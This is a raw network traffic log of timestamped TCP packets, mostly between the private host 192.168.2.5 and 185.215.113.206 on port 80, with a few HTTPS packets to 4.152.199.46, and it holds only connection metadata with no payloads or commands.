Oct 28, 2024 18:43:35.493175030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493191957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493200064 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493204117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493226051 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493247986 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493278027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493289948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493302107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493316889 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493328094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493347883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493427038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493438005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493448973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493460894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493473053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493483067 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493484020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493499041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493510008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493518114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493524075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493545055 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493566036 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493578911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493591070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493602037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493611097 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493617058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493633986 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493654013 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493762016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493772984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493784904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493796110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493807077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493814945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493824959 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493828058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493840933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493843079 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493853092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493858099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493866920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493880987 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493906021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493910074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493918896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493930101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493942022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493953943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493968964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493992090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494091988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494105101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494117022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494128942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494139910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494139910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494155884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494164944 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494169950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494180918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494194031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494215965 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494312048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494323969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494335890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494348049 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494357109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494359970 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494371891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494385958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494391918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494395018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494405031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494409084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494421005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494432926 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494450092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494455099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494474888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494492054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494503975 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494514942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494524956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494534016 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494539022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494543076 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494566917 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494656086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494667053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494678974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494689941 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494702101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494712114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494724035 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494735003 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494748116 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494805098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494817019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494827032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494839907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494856119 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494862080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494868994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494880915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494889021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494890928 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494904995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494909048 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494915962 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494921923 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494929075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494940996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494950056 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494951010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.494975090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.494996071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495100021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495112896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495122910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495136023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495142937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495151997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495181084 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495197058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495208025 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495219946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495233059 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495234013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495248079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495251894 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495275021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495304108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495351076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495362997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495379925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495390892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495402098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495402098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495402098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495414019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495417118 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495426893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495439053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495450974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495450974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495464087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495481014 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495490074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495522976 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495534897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495573997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495594978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495606899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495644093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495662928 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495675087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495686054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495698929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495702028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495721102 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495752096 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495831013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495842934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495855093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495867014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495878935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495882034 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495893002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495904922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495904922 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495917082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495929956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.495932102 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495951891 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.495958090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496107101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496119976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496131897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496144056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496155024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496155024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496169090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496190071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496215105 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496232986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496244907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496256113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496268034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496272087 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496280909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496293068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496305943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496305943 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496320009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496320009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496351004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496377945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496566057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496577978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496588945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496601105 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496613026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496625900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496625900 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496639013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496649981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496663094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496663094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496670008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496675968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496695995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496697903 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496711969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496720076 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496725082 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496737957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496747017 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496750116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496762991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496773005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496790886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496815920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496824026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496828079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496840954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496851921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496853113 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496864080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496876001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496876955 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496887922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496896029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496901035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496915102 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.496922970 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496932030 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.496963978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497159004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497170925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497181892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497193098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497204065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497204065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497210979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497215986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497226954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497239113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497240067 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497257948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497257948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497270107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497279882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497281075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497291088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497302055 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497313023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497325897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497327089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497339010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497340918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497351885 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497359991 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497364998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497370958 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497378111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497390032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497401953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497404099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497416019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497419119 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497431040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.497436047 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.497471094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.544636011 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.544706106 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.544739962 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.544764042 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.544794083 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.544816971 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.545315981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545377016 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545423985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545461893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545468092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545480013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545501947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545514107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545522928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545526981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545541048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545556068 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545558929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545567989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545594931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545597076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545610905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545622110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545634031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545645952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545648098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545658112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545671940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545672894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545687914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545691013 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545700073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545706034 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545741081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545835972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545847893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545859098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545871973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545883894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545895100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545896053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545907021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545914888 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545919895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545924902 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545932055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545939922 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545944929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545967102 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.545978069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.545989990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546000957 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546000957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546015024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546026945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546029091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546051979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546061039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.546132088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546144009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546161890 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.546183109 CET	63519	80	192.168.2.5	185.215.113.206
